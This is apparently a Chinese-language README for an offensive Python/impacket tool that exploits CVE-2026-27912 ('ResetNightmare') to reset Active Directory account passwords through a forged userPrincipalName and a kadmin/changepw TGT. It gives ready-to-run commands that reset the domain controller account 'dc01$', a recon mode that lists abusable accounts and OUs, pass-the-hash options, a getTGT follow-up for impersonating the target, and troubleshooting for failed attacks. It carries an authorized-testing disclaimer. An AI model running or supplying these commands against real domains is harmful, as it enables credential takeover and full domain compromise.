专为 CVE-2026-27912(“ResetNightmare”) 而生的 Linux / impacket 工具。它通过为 NT_ENTERPRISE 主体(其名称为目标的 sAMAccountName)请求 kadmin/changepw TGT,并使用一个我们可以在其上写入伪造 userPrincipalName 的账户(UPNUser),从而重置目标 Active Directory 账户的密码。
这是 Semperis Community Invoke-ResetNightmare PowerShell 工具的 Python 移植版(见 致谢)。
仅供授权安全测试和教育用途使用。 该工具会更改真实的 Active Directory 凭据,并可能导致账户被锁定。
GenericAll 权限,设置其密码并启用它。sAMAccountName。UPNUser.userPrincipalName = <targetSAN>(伪造的 UPN)。NT_ENTERPRISE '<targetSAN>' 身份为 kadmin/changepw 执行 AS-REQ——KDC 将企业 UPN 映射到
目标账户,并为其签发更改密码的 TGT。python3 -m venv venv
./venv/bin/pip install -r requirements.txt
操作者凭据是第一个位置参数:[domain/]username[:password]。
任何密码均可省略,系统会提示您输入。
侦察——此账户可以滥用什么? 报告您可以写入 UPN 的账户、可以在其中创建对象的 OU,以及 MachineAccountQuota,并附上建议命令:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
重置目标——使用一个您可以写入 UPN 的账户:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
先创建 UPN 账户(需要 OU 上的“创建子对象”权限,以及 LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
添加 -debug 可输出详细的 AS-REQ / LDAP / kpasswd 日志。
密码被省略时会以交互方式提示输入。
--create-new-path 失败排查:
说明:
unicodePwd,因此
--create-new-path 需要它。仅对只读/仅 UPN 的路径使用 --no-ssl。--find 仅报告授予您或您所在组的 allow ACE(以及对象所有权和 MachineAccountQuota);deny ACE 和跨域成员关系不会被完全评估。结果为空并不证明没有可利用路径——使用前请先验证。该工具会打印后续操作命令,以便以目标身份获取可用票据:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare PowerShell 工具。ldaptypes 原语。独立的社区移植版;与 Semperis 无关联,亦未获得其认可。
MIT © 2026 mihat2.
| Flag | 含义 |
|---|
<positional> | 操作者凭据:[domain/]username[:password] |
--target-account | 要重置的 sAMAccountName(计算机账户以 $ 结尾) |
--target-new-password | 要在目标上设置的新密码 |
--upn-user | 要在其上写入伪造 UPN 的账户(或通过 --create-new-path 创建) |
--upn-user-password | --upn-user 的明文密码 |
--computer | 将 --upn-user 视为计算机账户 |
--create-new-path <DN> | 首先在其中创建 --upn-user 的 OU/容器(需要 LDAPS) |
--find | 侦察:报告可被滥用的账户/OU 及建议命令,然后退出 |
--list-ous | 列出 OU/容器并退出(用于选择有效的 --create-new-path) |
--aes-key <hex> | --upn-user 用于 AS-REQ 的 AES 密钥(替代密码) |
--upn-user-hash <NT> | --upn-user 用于 AS-REQ 的 NT 哈希(或 LM:NT)(替代密码) |
-k, --kerberos | 使用 Kerberos(SASL/GSSAPI)进行 LDAP 绑定(使用 KRB5CCNAME) |
-H LM:NT | 通过哈希传递进行 LDAP(NTLM)绑定 |
--no-pass | 不提示输入密码(使用 -k / KRB5CCNAME) |
--dc-host | DC 主机名/FQDN(用于 Kerberos SPN) |
--dc-ip | DC IP 地址 |
--no-ssl | 明文 LDAP/389(与 --create-new-path 不兼容) |
--supported-encryption | 首选加密类型,仅作提示(默认 aes256) |
-debug | 详细日志输出 |
| 症状 | 原因 | 修复方法 |
|---|
result 50, insufficientAccessRights | 该 OU 存在,但您对其没有创建子对象权限。 | 使用您可以写入的 OU(--list-ous / --find),或去掉 --create-new-path,通过 --upn-user 滥用现有账户。 |
result 32, noSuchObject — best match: DC=corp,DC=local | DN 的父级链不存在(DN 不完整或系猜测所得)。 | 使用 --list-ous 枚举,并粘贴完整的嵌套 DN。OU 是嵌套的;仅凭名称无法确定其路径。 |
result 53, unwillingToPerform(在执行密码步骤时) | 通过非 TLS 通道写入 unicodePwd,或密码强度不符合策略。 | 保持 LDAPS(不要传入 --no-ssl);使用符合策略的密码。 |